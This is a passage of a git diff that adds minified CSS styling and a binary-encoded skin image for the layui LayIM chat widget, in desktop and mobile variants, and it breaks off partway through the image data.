li{position:relative;font-size:0;margin-bottom:10px;padding-left:60px;min-height:68px}.layim-chat-text,.layim-chat-user{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:14px}.layim-chat-user{position:absolute;left:3px}.layim-chat-user img{width:40px;height:40px;border-radius:100%}.layim-chat-user cite{position:absolute;left:60px;top:-2px;width:500px;line-height:24px;font-size:12px;white-space:nowrap;color:#999;text-align:left;font-style:normal}.layim-chat-user cite i{padding-left:15px;font-style:normal}.layim-chat-text{position:relative;line-height:22px;margin-top:25px;padding:8px 15px;background-color:#e2e2e2;border-radius:3px;color:#333;word-break:break-all;max-width:462px\9}.layim-chat-text:after{content:'';position:absolute;left:-10px;top:13px;width:0;height:0;border-style:solid dashed dashed;border-color:#e2e2e2 transparent transparent;overflow:hidden;border-width:10px}.layim-chat-text a{color:#33DF83}.layim-chat-text img{max-width:100%;vertical-align:middle}.layim-chat-text .layui-layim-file,.layui-layim-file{display:block;text-align:center}.layim-chat-text .layui-layim-file{color:#333}.layui-layim-file:hover{opacity:.9}.layui-layim-file i{font-size:80px;line-height:80px}.layui-layim-file cite{display:block;line-height:20px;font-size:14px}.layui-layim-audio{text-align:center;cursor:pointer}.layui-layim-audio .layui-icon{position:relative;top:5px;font-size:24px}.layui-layim-audio p{margin-top:3px}.layui-layim-video{width:120px;height:80px;line-height:80px;background-color:#333;text-align:center;border-radius:3px}.layui-layim-video .layui-icon{font-size:36px;cursor:pointer;color:#fff}.layim-chat-main ul .layim-chat-system{min-height:0;padding:0}.layim-chat-main ul .layim-chat-mine{text-align:right;padding-left:0;padding-right:60px}.layim-chat-mine .layim-chat-user{left:auto;right:3px}.layim-chat-mine .layim-chat-user cite{left:auto;right:60px;text-align:right}.layim-chat-mine .layim-chat-user cite i{padding-left:0;padding-right:15px}.layim-chat-mine .layim-chat-text{margin-left:0;text-align:left;background-color:#5FB878;color:#fff}.layim-chat-mine .layim-chat-text:after{left:auto;right:-10px;border-top-color:#5FB878}.layim-chat-mine .layim-chat-text a{color:#fff}.layim-chat-footer{border-top:1px solid #F1F1F1}.layim-chat-tool{position:relative;padding:0 8px;height:38px;line-height:38px;font-size:0}.layim-chat-tool span{position:relative;margin:0 10px;display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:24px;cursor:pointer}.layim-chat-tool .layim-tool-log{position:absolute;right:5px;font-size:14px}.layim-tool-log i{position:relative;top:2px;margin-right:5px;font-size:20px;color:#999}.layim-tool-image input{position:absolute;font-size:0;left:0;top:0;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}body .layui-layim-face{margin:10px 0 0 -18px;border:none;background:0 0}body .layui-layim-face .layui-layer-content{padding:0;background-color:#fff;color:#666;box-shadow:none}.layui-layim-face .layui-layer-TipsG{display:none}.layui-layim-face ul{position:relative;width:372px;padding:10px;border:1px solid #D9D9D9;background-color:#fff;box-shadow:0 0 20px rgba(0,0,0,.2)}.layui-layim-face ul li{cursor:pointer;float:left;border:1px solid #e8e8e8;height:22px;width:26px;overflow:hidden;margin:-1px 0 0 -1px;padding:4px 2px;text-align:center}.layui-layim-face ul li:hover{position:relative;z-index:2;border:1px solid #eb7350;background:#fff9ec}.layim-chat-textarea{margin-left:10px}.layim-chat-textarea textarea{display:block;width:100%;padding:5px 0 0;height:68px;line-height:20px;border:none;overflow:auto;resize:none;background:0 0}.layim-chat-textarea textarea:focus{outline:0}.layim-chat-bottom{position:relative;height:46px}.layim-chat-send{position:absolute;right:15px;top:3px;height:32px;line-height:32px;font-size:0;cursor:pointer}.layim-chat-send span{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:14px;line-height:32px;margin-left:5px;padding:0 20px;background-color:#5FB878;color:#fff;border-radius:3px}.layim-chat-send span:hover{background-color:#69BC80}.layim-chat-send span:active{background-color:#59B573}.layim-chat-send .layim-send-btn{border-radius:3px 0 0 3px}.layim-chat-send .layim-send-set{position:relative;width:30px;height:32px;margin-left:0;padding:0;border-left:1px solid #85C998;border-radius:0 3px 3px 0}.layim-send-set .layui-edge{position:absolute;top:14px;left:9px;border-width:6px;border-top-style:solid;border-top-color:#fff}.layim-chat-send .layim-menu-box{left:auto;right:0;top:33px;width:180px;padding:10px 0}.layim-chat-send .layim-menu-box li{padding-right:15px;line-height:28px}body .layui-layim-min{border:1px solid #D9D9D9}.layui-layim-min .layui-layer-content{margin:0 5px;padding:5px 10px;white-space:nowrap}.layui-layim-close .layui-layer-content span{width:auto;max-width:120px}body .layui-layim-members{margin:25px 0 0 -75px;border:none;background:0 0}body .layui-layim-members .layui-layer-content{padding:0;background:0 0;color:#666;box-shadow:none}.layui-layim-members .layui-layer-TipsG{display:none}.layui-layim-members ul{position:relative;width:578px;height:200px;padding:10px 10px 0;border:1px solid #D9D9D9;background-color:#fff;background-color:rgba(255,255,255,.9);box-shadow:none;overflow:hidden;font-size:0}.layui-layim-members ul:hover{overflow:auto}.layim-add-img,.layim-add-remark,.layui-layim-members li{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:14px}.layui-layim-members li{width:112px;margin:10px 0;text-align:center}.layui-layim-members li a{position:relative;display:inline-block;max-width:100%}.layui-layim-members li a:after{content:'';position:absolute;width:46px;height:46px;left:50%;margin-left:-23px;top:0;border:1px solid #eee;border-color:rgba(0,0,0,.1);border-radius:100%}.layui-layim-members li img{width:48px;height:48px;border-radius:100%}.layui-layim-members li:hover{opacity:.9}.layui-layim-members li a cite{display:block;padding:0 3px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}body .layui-layim-contextmenu{margin:70px 0 0 30px;width:200px;padding:5px 0;border:1px solid #ccc;background:#fff;border-radius:0;box-shadow:0 0 5px rgba(0,0,0,.2)}body .layui-layim-contextmenu .layui-layer-content{padding:0;background-color:#fff;color:#333;font-size:14px;box-shadow:none}.layui-layim-contextmenu .layui-layer-TipsG{display:none}.layui-layim-contextmenu li{padding:0 15px 0 35px;cursor:pointer;line-height:30px}.layui-layim-contextmenu li:hover{background-color:#F2F2F2}.layim-add-box{margin:15px;font-size:0}.layim-add-img img,.layim-add-remark p{margin-bottom:10px}.layim-add-img{width:100px;margin-right:20px;text-align:center}.layim-add-img img{width:100px;height:100px}.layim-add-remark{width:280px}.layim-add-remark .layui-select{width:100%;margin-bottom:10px}.layim-add-remark .layui-textarea{height:80px;min-height:80px;resize:none}.layim-tab-content,.layui-layim-face ul,.layui-layim-tab{margin-bottom:0}.layim-tab-content li h5{margin-top:0;margin-bottom:0},.layui-layim-face img{vertical-align:bottom}.layim-chat-other span{color:#444}.layim-chat-other span cite{padding:0 15px;color:#999}.layim-chat-other:hover{text-decoration:none} \ No newline at end of file diff --git a/start/layui/css/modules/layim/mobile/layim.css b/start/layui/css/modules/layim/mobile/layim.css new file mode 100644 index 0000000..590e637 --- /dev/null +++ b/start/layui/css/modules/layim/mobile/layim.css @@ -0,0 +1,2 @@ +/** layui-v2.5.6 MIT License By https://www.layui.com */ + .layim-tab-content li h5,.layui-layim-list li{border-bottom:1px solid #f2f2f2;cursor:pointer}html #layuicss-skinlayim-mobilecss{display:none;position:absolute;width:1989px}.layim-tab-content li h5 *,.layui-layim-skin li,.layui-layim-tab li,.layui-layim-tool li{display:inline-block;vertical-align:top;*zoom:1;*display:inline}.layim-tab-content li h5 span,.layui-layim-list li p,.layui-layim-list li span{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.layui-layim-tab{position:absolute;bottom:0;left:0;right:0;height:50px;border-top:1px solid #f2f2f2;background-color:#fff}.layui-layim-tab li{position:relative;width:33.33%;height:50px;text-align:center;color:#666;color:rgba(0,0,0,.6);cursor:pointer}.layui-layim-tab li .layui-icon{position:relative;top:7px;font-size:25px}.layui-layim-tab li span{position:relative;bottom:-3px;display:block;font-size:12px}.layui-layim-tab li[lay-type=more] .layui-icon{top:4px;font-size:22px}.layui-layim-tab li.layim-this{color:#3FDD86}.layim-new{display:none;position:absolute;top:5px;left:50%;margin-left:15px;width:10px;height:10px;border-radius:10px;background-color:#F74C31;color:#fff}.layim-list-top .layim-new{position:relative;vertical-align:top;top:10px;left:initial;margin-left:5px}.layim-list-top i.layui-show{display:inline-block!important}.layim-tab-content,.layim-tab-content li ul{display:none}.layui-layim{position:fixed;left:0;right:0;top:50px;bottom:50px;overflow-y:auto;overflow-x:hidden;-webkit-overflow-scrolling:touch}.layim-tab-content li h5{position:relative;padding-left:35px;height:45px;line-height:45px;font-size:0;white-space:nowrap;overflow:hidden}.layim-tab-content li h5 *{font-size:17px}.layim-tab-content li h5 span{max-width:80%}.layim-tab-content li h5 i{position:absolute;left:12px;top:0;color:#C9BDBB}.layim-tab-content li h5 em{padding-left:5px;color:#999}.layim-list-friend,.layim-list-group{background-color:#fff}.layui-layim-list li{position:relative;height:42px;padding:5px 15px 5px 60px;font-size:0}.layui-layim-list li:active{background-color:#F2F2F2;background-color:rgba(0,0,0,.05)}.layui-layim-list li.layim-null{height:20px;line-height:20px;padding:10px 0;color:#999;text-align:center;cursor:default;font-size:14px}.layim-list-history li.layim-null{padding:30px 0;border-bottom:none;background-color:#eee}.layui-layim-list li *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:17px}.layui-layim-list li span{margin-top:2px;max-width:155px;font-size:17px}.layui-layim-list li img{position:absolute;left:12px;top:8px;width:36px;height:36px;border-radius:100%}.layui-layim-list li p{display:block;padding-right:30px;line-height:18px;font-size:13px;color:#999}.layui-layim-list li .layim-msg-status{display:none;position:absolute;right:10px;bottom:7px;padding:0 5px;height:17px;line-height:17px;border-radius:17px;text-align:center;font-size:10px;background-color:#F74C31;color:#fff}.layim-list-gray{-webkit-filter:grayscale(100%);-ms-filter:grayscale(100%);filter:grayscale(100%);filter:gray}.layim-list-top{background-color:#fff;font-size:17px}.layim-list-top li{position:relative;padding:0 15px 0 50px;line-height:45px;border-bottom:1px solid #f2f2f2;cursor:pointer}.layim-list-top li:last-child{margin-bottom:10px;border-bottom:none}.layim-list-top li .layui-icon{position:absolute;left:12px;top:0;margin-right:10px;color:#36373C;font-size:24px}.layim-list-top li[layim-event=newFriend] .layui-icon{left:15px}.layim-panel,.layim-title{position:fixed;left:0;right:0;top:0}.layim-list-top li[layim-event=group] .layui-icon{font-size:20px}.layim-list-top li[layim-event=about] .layui-icon{font-size:25px}.layim-panel{bottom:0;background-color:#eee;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}.layim-title{height:50px;line-height:50px;padding:0 15px;background-color:#36373C;color:#fff;font-size:18px}.layim-chat-status{padding-left:15px;font-size:14px;opacity:.7}.layim-title .layim-chat-back{display:inline-block;vertical-align:middle;position:relative;padding:0 15px;margin-left:-10px;top:0;font-size:24px;cursor:pointer}.layim-chat-detail{position:absolute;right:0;top:0;padding:0 15px;font-size:18px;cursor:pointer}.layim-chat-main,.layim-content{position:fixed;top:50px;left:0;right:0;overflow-y:auto;overflow-x:hidden}.layim-chat-detail:active,.layim-title .layim-chat-back:active{opacity:.8}.layui-layim .layim-title{text-align:left}.layui-layim .layim-title p{padding:0 15px}.layim-content{bottom:0}.layim-chat-main{width:100%;bottom:85px;padding:15px;-webkit-box-sizing:border-box!important;-moz-box-sizing:border-box!important;box-sizing:border-box!important}.layim-chat-main ul{overflow-x:hidden}.layim-chat-main ul li{position:relative;font-size:0;margin-bottom:10px;padding-left:60px;min-height:68px}.layim-chat-text,.layim-chat-user{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:15px}.layim-chat-user{position:absolute;left:3px}.layim-chat-user img{width:40px;height:40px;border-radius:100%}.layim-chat-user cite{position:absolute;left:60px;top:-2px;width:500px;line-height:24px;font-size:12px;white-space:nowrap;color:#999;text-align:left;font-style:normal}.layim-chat-user cite i{padding-left:15px;font-style:normal}.layim-chat-text{position:relative;min-height:22px;line-height:22px;margin-top:25px;padding:8px 15px;background-color:#fff;border-radius:3px;color:#333;word-break:break-all}.layim-chat-text:after{content:'';position:absolute;left:-10px;top:13px;width:0;height:0;border-style:solid dashed dashed;border-color:#fff transparent transparent;overflow:hidden;border-width:10px}.layim-chat-text a{color:#33DF83}.layim-chat-text img{max-width:100%;vertical-align:middle}.layim-chat-text .layui-layim-file,.layui-layim-file{display:block;text-align:center}.layim-chat-text .layui-layim-file{color:#333}.layui-layim-file:active{opacity:.9}.layui-layim-file i{font-size:80px;line-height:80px}.layui-layim-file cite{display:block;line-height:20px;font-size:17px}.layui-layim-audio{text-align:center;cursor:pointer}.layui-layim-audio .layui-icon{position:relative;top:5px;font-size:24px}.layui-layim-audio p{margin-top:3px}.layui-layim-video{width:120px;height:80px;line-height:80px;background-color:#333;text-align:center;border-radius:3px}.layui-layim-video .layui-icon{font-size:36px;cursor:pointer;color:#fff}.layim-chat-main ul .layim-chat-mine{text-align:right;padding-left:0;padding-right:60px}.layim-chat-mine .layim-chat-user{left:auto;right:3px}.layim-chat-mine .layim-chat-user cite{left:auto;right:60px;text-align:right}.layim-chat-mine .layim-chat-user cite i{padding-left:0;padding-right:15px}.layim-chat-mine .layim-chat-text{margin-left:0;text-align:left;background-color:#5FB878;color:#fff}.layim-chat-mine .layim-chat-text:after{left:auto;right:-10px;border-top-color:#5FB878}.layim-chat-mine .layim-chat-text a{color:#fff}.layim-chat-main ul .layim-chat-system{min-height:0;margin:20px 0 5px;padding:0}.layim-chat-system{margin:10px 0;text-align:center}.layim-chat-system span{display:inline-block;line-height:30px;padding:0 15px;border-radius:3px;background-color:#ddd;color:#fff;font-size:14px;cursor:pointer}.layim-chat-footer{position:fixed;bottom:0;left:10px;right:10px;height:80px}.layim-chat-send{display:-webkit-box;display:-webkit-flex;display:flex}.layim-chat-send input{-webkit-box-flex:1;-webkit-flex:1;flex:1;height:40px;padding-left:5px;border:0;background-color:#fff;border-radius:3px}.layim-chat-send button{border-radius:3px;height:40px;padding:0 20px;border:0;margin-left:10px;background-color:#5FB878;color:#fff}.layim-chat-tool{position:relative;width:100%;overflow-x:auto;padding:0;height:38px;line-height:38px;margin-top:3px;font-size:0;white-space:nowrap}.layim-chat-tool span{position:relative;margin:0 15px;display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:28px;cursor:pointer}.layim-chat-tool .layim-tool-log{position:absolute;right:5px;font-size:14px}.layim-tool-log i{position:relative;top:2px;margin-right:5px;font-size:20px;color:#999}.layim-tool-image input{position:absolute;font-size:0;left:0;top:0;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}.layim-layer{position:fixed;bottom:85px;left:10px;right:10px;margin:0 auto}.layui-layim-face{position:relative;max-height:180px;overflow:auto;padding:10px;font-size:0}.layui-layim-face li{cursor:pointer;display:inline-block;vertical-align:bottom;padding:5px 2px;text-align:center;width:10%;-webkit-box-sizing:border-box!important;-moz-box-sizing:border-box!important;box-sizing:border-box!important}.layui-layim-face li img{width:22px;height:22px}.layim-about{font-size:17px}.layim-about .layui-m-layercont{text-align:left}.layim-about .layui-m-layercont p{line-height:30px}.layim-about .layui-m-layercont a{color:#01AAED} \ No newline at end of file diff --git a/start/layui/css/modules/layim/skin/1.jpg b/start/layui/css/modules/layim/skin/1.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d9f99263d65a31247c966813d155b83f1ebbd1ba GIT binary patch literal 18386 zcmY(q2{=^$8#aEs)tEsNk}N~UF2+7~q9`h&C^EL1rmP{Q7-Qd;vL;)L zt+FqbilQVW*-O1g-{1RQ|Nj}|T+Gb5=DDByxu50pIe*9hP68NHLlZ*)1VO+9dH{dl z0!IN1H#ZLt4?iz2zc7XmBP@>N=f{aliR>IwcoA{v5W(Z+_7V2U;gywDRh5;=|Nmp> zA|O8oBd}XQP(VOXPyi<&C@v@@Bq&Z07ncwhCmfK&LxSVI+ z|MxO~+W>wP_yN`n2l)XQKM3as|2_r8000Kx`L_S>0ATPL1OVGzfpzH1& z|L@ZOK8`>_FA@0vy#OLW80Y`q0P@4&I~PXmrXrKo_W| zep4CT)(#_!O);tt+nhPr#o-@Y#_W2p9;^0jZr+ z92%GaYG&;psHeb@?++DRD=>-k9NAd3f7AA9PVHcgbAFd$q}p^;TC$G~ODxa|mu{3% zwZHP2n$@;}eNT8q<%?^}(VCae3J$prI$n8kFn;Oo?ZR8eLsq`7@gMb`rD7}P(s$RKn=1KfMrHEq-1!o6_1w?1EK z3k=bb3E6fNsuIqZzks$}2F4$}mD(M&$jGfz`8teD^^bXF8eMVwoYGC!MmUzsXcJw0 zhkD}+>8jq~Kxl2#h14vs)3na~rN4kcp-o51hd-b1Jm36@IXt?>;H44z4YX*K5((EI&fD7bG+=YDEBeJ=s!uRW^xVzEpp5Dk*5oA{y%mKE z^Po-ByJeAC=jqtj=QFSxL2zPQ9ef zB0wKy1<+n8-$>08nB%?&NtEUM(Wf)DAk~-@mZ;4rxOodUS8-p(=Eie$qS;i-p)W=O zt=rGLPB5 zaDGQM{&rka3ErF@1aDvFc-CK3LAJx^q`;F(`~h-|e)myN`nk5rZ`%gKL;f6QJiNFN zcs|ANDOxSL1D^S~gDm8ov5PCJ(vr8$UGoh?{Fg#t5{H8VP@MvsHNyKYFVXuBFN6|W zuBGd>Xao53S~mS{pEevm_bzhgRSrg%8yv;{U!dp!9G1ENrl8}V%g?l|ovzjF$0@y^ z3{reRqRXER0?(1v>0N{tAajV2?IA%^y2)wIY_u@(qJR`>w#7N*UfTqXFoqDB<7T0G z{gc9TX%qdYn_np0J@F`YYAV*R&0yTtkY3Eb7R8Z)mjq<{DT+WmR;hn4zzYgYbAL0i zFUpl3XYFxp$GsZ4$SurE00BJB-AcVPhw2htk^xF{v|$~wBSuN;hJbn-Uz^riomP@h z+}UyN@Z0z3z4ZNYzcAQ$SN;Iq8q09v1~>(%`+ce6UT9Im2Ysi7!5RvX$qX^o-#X;i zikak@xd?NP0h2{|<&GLoI(*P!0OLgWD6;*(u+Wqb&Xv6tpN@GIT6o>@ zkMR#lj|#H~+My^bQcB?E$zaslIlLGy@)1|E>p3urshT>jaZu zY~XJAMd_P1=FzjMqBDwG!@2!(mlAnKNUZd*HPt7Tzzu7ZKosSQ6|d+LvKp*`b)lU= zeH=X>!Ew`gKU2EmI=ncE%aX1UIC(B{BYk<9NjyR;-t4Qn6(IHTOu9-?1;`yw0}D4aLfLZ zgsk$K)!r(H`*%O|HHbL9atOxkUceW%l^${LXFsKg<943`js%et_~e9!QmMfiyqJ=^ z?XV;}d5tPY;|#wOY4f%OxlYkk*Osce#L>EI+S6G; zPuXcY`Yhhv9e=i@j71nRLh(@ReRsc@Xsg+U4;UJo;ANmV_dknNA_xAKf%t-2sokRD zPN6-xr~rM3GRX7cfy2a1(SmyaU;KNHJPoO&2Ip@hsTO^CO;O%cw;Pc*vSa~*14dAn zw1segpw*e9XHp@le?x{xm&L1@O6R}YFH5)6!fWb9WT?_EZdqOIzcM9a_DEUS-aQ{N?WWH@HD(9UCUE0JtN;1*pB6=`W0#h%)4 zGs$yCi{1mcx}4+Kl5GN6{|_w5o!}aB_-Y`?D%c?s2oVWzkozf%>-ud{vRqZDhQPLI$7C|lUuOO= za$On&BcjU_B`yJSZov@rc|pIz0Mns zMbuwAL{;Z`ds!Gh_Zxp)=$|%p%eT7{E!^`t z(%IKg|M;W_#Bp!^T#;_R_ED_)<;lN*vAFj{ek^rp(C^-o;r&Z1#YUh>(Lk|YSp?(o znfr-6MXn9gMT&c=;u<}({BH9A?tTW&^mzvN=jrH1tyn}ynVD`7m(l^RU&>0B8WDLo zZ^4;5x1#lRaPK3f$5tG>``q%Rhr9AtT5}0%Z>AI~igtxet#7^|md#Cs{o!r+koHOs zHO`^H-Y{l=IGl&AwCW;e2BAuf(aXqWpaz|%=L`y?;H*NuW67*;j3xmuyb4=vv%&K> zBe5Oa=x#skaFtpyj<*49;K`(>@g~E<0-+x;#Tc0un8dZT1cWO9+1!{t*dqF1xhjXB z?=26~0MLr0D^{8(3HGGX576?$Cbncz8CKSpGlwFG8%k;P5t@B{=iNLeV2b#}PjHCmeO-fzF z@zWBkt~f{K?c^>5`v!ADWIi7@GYT z_|PTz+=H_3ervzosqkga%HM~IF8I1e{%-Ub4*E7T((WjcV}s-?q_gKyc6c$oEIpt8 z!$X5h*4wrp)elGTV5vt7{EYA_9^!NdD^;a9oN;s`(tv)lpQkR_nx!Vqq62w7EDUT% zd>Q|K?@$AToC*D7I<$4Bi_al?D|=#>rMm&ei76}%kfApq2p&9FNQ!q!PT$2b;aibv z@ihs3F<-@hs56Ey5%df-c*PLA0Z#0wh>^_GaNV-WmT!Ni#7|~CF54?$em(Zx_$d1h zP`nP_?dd`z5?wB*I*WHo4&fhZ{{^m+#l8f6?-CrTZ9KYu{x^LfeYR)+%8K*@r$7Fe zS)wXEZj3|m&)FB4T2cikZyH#0$ZMJ zSHpVBor~dN>)DP1IW;IU)%G0Lf&(fft3b1){qsm`v^he{3rv|LNjx^rHHEtzZ#xYOyM+lTa-Gw*?!vTER`2I)i z{2ILDxme*ke00NSk1O>Tf87KCL|L&+_Ezyf`>~(LwLb@vVW)S^Zecm#XZjGkMAjm^v7QQ_wa3Uj{(-5Ef{h=$dLJfPpK=gOicV9y z5+$TW#kp2$C`d?xBVn3zK8tH+^F8;&wR@6XZssA2r*l$Z{;=XUv`?F(OEQI0!yfMh zg$(gJPm%T=8u%v~Q%MLA?QMsVK&lXhIb6w)s<2)1?TC}UJ%3^NLG! zV;1LJR&e$%ypu!=S=Y3UkRCU{aI^+alzN=|fa3MdJh zG~|53OP=Gz)A(5aZYj(>Y&@W>Craq^M3j+C$?7l;V5t@M_~vPoCGPQ(Y#^HRxAtXF z2fPgEfN=OE7_|hnZ2(^3C}kaF416*}S%;6@wqX(jpE?0-oCdNeIq>dB@8}oY9#!#p zmPClbI@zO^mH3e6-DUxb-yI1n{Vx3ZMI5MqNJ@J|RpFGuHeoHhlV)D)=DXB3u86dJ zbN}i{?9?9%=u40qXZ8gM9cPII`b!3PD3$y=e-+nMyr}2Eg8CnYHsOU~rJH;@Ee(Ac zQLn;gd%AP4hnE$ZYrdBxU;Eyq?O?YUO}ZEO(v98zp zNB#nFtGuQmk%WV8St`@YLmbo~4~aHAW%)&pyLq_Wpf+50GK$D zl;UX^1+pgD8QE=E+mH6f0{$4TU}BB)Fx(pd8rOzE!lRZ>*y`|bEqNZDg6-?j^&*7J ztPvzp9h@Dy9>q(E;~?~8NTRms+31dI9m<>?%27+%ppHVE-w03#G60B)D&IVtiX)`ke!fS#5$fEVLjN!;Za7L8 zr=?X?BDw#FteZy{TRmvwMbb+L^j{{Ocu0~<^G5GUu=d2xY3;E%p{1NaNqg0((IOi! zr|Mmn@S4Nqg`0LX$Nagr@-(0b5MJfxk7i0oS#`y;AW?j9qUFH$YrVT`Nqhmygzz|0 zhJGVPiqa2z`4s(`Lc#M*GX1M!vHH)+c^;!H;>4Stp`deJPfiJS1!yjpmF-Mpq z&9TrKdWs{=L1hF)33H@4s7|*fA0cZ13t$zw8|X%gV^qlMXg<{59drnj(jL(_A{9!e z4Id|`M$UOUstt!l(aHuZqf)&ZZ@l|0c+h3vXUFF9g|gqZYnJnzLFM~yo9l+_iIrHk zTC0zsVts~JVI^aD?uBL6H15gpoZ9Y4Qb(B2i9xp+v(nySlK97b#l*o6Un8x0-WC=O zZH>eH6J_YZYJCf9 zHq2h<64ymfF6SN#X_C`RnUql-lhQvRt*QsiSOJq#a_z}B-nbVe)em@}FqS?9*IT1s z0DAE1{i38KHK-VapiBYGSoTLQC251s4*G0mY>cv>vYs-(G6LqoMTek($}l$s!sFFK-uwfdHQ9UnZsjoFe3x_HqknkozU zbF(h5Q-(Wm7=Rz}805Df{vm5RHZ(CS*J|nV_#<=1RdWl+s}zL|=*8D4Q;?} zVBjvEZH4bU-ky9vN{oOBPd!tbV|NLN0uF=hO~POkXiK+}P=)nD2pNl}FM-1PQC3vQ;=KT5^=^O+RZsx_KcoLCN+!gPabPlv zju${#8B0L}1AX-Tto^;xzks@)9g-|%(8Y^IG8pXdR`%guG`MLPg$qwi-Ho^0iznq^ zWO4yJZ&AXt@F2bJ;jg!?=ZJC3yx zo{IA?>wg4Tuq0UGzz>(yQ?6*@ZEIv3Z#2Q=9F_SVnyTp4k)osf^*zwWYy=EL<^$qv z+Yr(qi~%JQj5?$Z^l>!gTrdgx8+eLg(e?jLV}TU(%&GLZ-Z7>y7Jv*wx1fqbYg2f} zdOzcHNqF}?S5t-c=_1%hX(%gp6>#cOc?3$cgM&B^+PH~SoYppUxi9{3sm?0Q;E9v% zx5r-Y3Xfm>R%gG{%IVomE~Zu6kYohxbCwLVvX`!0d_C_~Jv1h*4Apgbjvi7H2Ws@j z$9Uf>+^pTUWp|k~yQS}790&!lFpA)F4K>^eG>Sh82wf!%jH7*qQP^p29lBS25oBtU zHd+RC49H`~VqjE2$_fQ7(U4`4JFbM&bLnD`#TYRF!v(@{i2pSqxVZCbft%~UuHMmS zS*ru(P|c4Y;(E3(E1&BzKaTJ{3G3?iO24dvrm6snU~V#9Vo6D;X&hysJNZ?UFg&xA za@}R^LLdvX+N@%qYn^85u$(o`6qq5AR;f)z)WLJ;ugz&Smrkm9AII6-qr;izyA7>LIUMDs%g z|IeQ_(lw_@FKKJU#uuuFIG1SBBin}~g|ctHM-xp~IWMv>g1*hiG9`Oe zKh&R7ol}fYiu521zHZ`5J!K83BLk9TJY+oNVa7an8A(BEzSSfI>s3m%SF^{EFeo&p zwf$mzLW^Cvu9E+v^ix^H9mB_a(+`d3@@-R7YZq2ZL?g6_iN*^2uO5cYO39rQ`Qpnh zMjzm|5)3PnmpjK#yCppyMD=6U;EUOKP{olQU);k1WRf*Nb|WNTSUZ(sWm7(pR0U>r zdI!OtBb6yb#tULFY^WUs@E9qu4FQjqr)vPI0vzpn?QjeRk0`=J{k1eS!6FwS0G%ki zg?F5o3a!ySuu@O<0;p8@A^|9H3U`Pb=kr;474)?O&web9V+I5<4!!CXck#-``wa|F zxocZ+L+F-83F}v}$YnfZY(D#ZpPGb-I{#4j?nd$NjwKhqyQRh-KU8jSZ@^vp;9=vz z<9U8JkE!?!#9QiZjD9KpR96uXf&28(%l+gVo;jy)4#+7~!KcstIecsiWo!7WvEvt`;Q zjDg=|ApLVhU;qlwO{aG}I3?Mm_a$6^zSrx|v3s35-}viQ0akTz;634hf`-n-wCmsuV4%O&%C$7bBHmVhF3dlexG&+x#HCY9+LwF``Y7-vF{I ziOdDfzQ`y<4&y&L(#IoE;D6J^ow+LugW}M|Ts>{Qol`VDE_%L}Z|yJ8In0#&Y2&U! zBd{ZJd{q_^!gc~p^UzGvuK2-gHutBGy!$hM5tT}5B071ZIF|Z69R*-e^$t>=wqefzYq_s9Ik+4lQd7(2e;3St=^ZfDJs|nV3QD zC8P9UAnbpY2*d(g7>E)$XLIAmqFn;+N8qg+^J3O4x=AOfuO6@#8N`^scBIszWy-E6 z&F18+@hRd}W=5|(#h+&iWAITx)c?{GQ1lNL;P4;0 z!oR@F#6PUz^KgR<`>-*sB|V4RzUWUL9Q+Y&wVuEOZ_4E*J4;o1SS)8K|BGCXnm?kb z`X{;Z>JiiSq|8sXl&}jGl~>QElal;)xde6Fs~TcX?<&4}zprCOSN-h~xmZVsg4~&V zFRNYyF(>tzr7p1n)DB`*XzUexQ?1p~&j+kLwL}CrCxHGeN1;@Q^PA+7!zvQ$dj8&R zEeFBoHqH!ONO&f*l><@?6rmpHh^ac7BQQG`q(+kQir zSotEtKpHX#b}#A>5Z*?*A0O-0I4yU2Y1_cs)@=3Cl^LHig%%P9t_N3ISG?>`_r5xE zlJIAAY$e2JcN^6v%rMaH!P0iJQ<$l?kCJ)$1^E*gO1Km|J8P**WT~%jtrYGzl#&gNS=*FTF zXN!Y^V!CKtj#hF&>71gH094xr>^M%oWXbB=t^}DQVm(Q%)@3c4C(-NP#i#a*<@L@(dRpPmv*6omc4Vn zEhHr#ynOq<_V3>Fy<3?+*d<0emX=^#ksUX8-oJD%Temy4;@t%W4;3W?)68g61~iwT zI>DY&y~wgjICZ!ZIU}J*re&EFQpSRs1~tSu~o=F=k$+6-+Boz@X3RWl-&twfJ_&N)`Q3oWoL-% zq`TL#Ey1RqpHw?MqEvQ9z5lr$KkbF=e zRayd{OOGBfI^?Qk$_)N7Rg*ioA#u7pXlsdoI>ah)_?^(mG55uQ#0UD^CupM1=DGbn zbsOF}Zk4;r8q9ICxAm1v&VJ^y3B)`|63HKC%OaDnQ%dj-UU1bWdjA}9iAET64WtP6 zXb{SOwj)P8LAE^TZ%RLL=tl71J#~D#Kqodso!h_m;i4P!W%F)yMnw z*u4|vd@%Tlnitnw>XLl7_hiw{{wF9JUfx61N=RQ$$gnw8p~&BB_oR>X$7^jge){u9 zy=CMN;8iFE`+d5rrIDrhGlei4T#`iQ86pAKad)0Z%UXR!DDMUw&gMt;+&lDE_*XTj=|(`}z`20*BNcyvw0lAq z49+{)7>9hAr3m-(aE=6<=MMdm7=9G|-C`@{on&=t`QVV}?_Q)=+HexZCK^`g1eBy3 za(^qwp1LVO;T0~R21{WPH6*~Jo_nwFi^6Wz!<6%Q?u%ZW%yd)rkyPsWa4hvW-2O%? zb*MrMtJ5!HK(J(qe6Z#&y-xW>E*WVPFSjg8D=5c?>dWNRN9V|4h~uz(?+_>`Om>jL z!T#ywj$A->Jo0$c3+0L{B^K=5OwG^lt?`+Poq444DNL#Z3Ak_+0tW!-Jhy@O?#8Y! zT9T{@ao9PZx?&ZD&=0%P7wiVt{XfsnJzFv`MB0!~)JV~0V2HM(&}4`YC|GAComg7X zyNA@^ikN;>~xaCvyv*wJYtif6O^?9t< zCc3Wq!a)ktF-7|E?by?YhJ@E$#25=5G}V|Z>7`S3r#GcFL=$<2ZPasxG}e53j%&@; 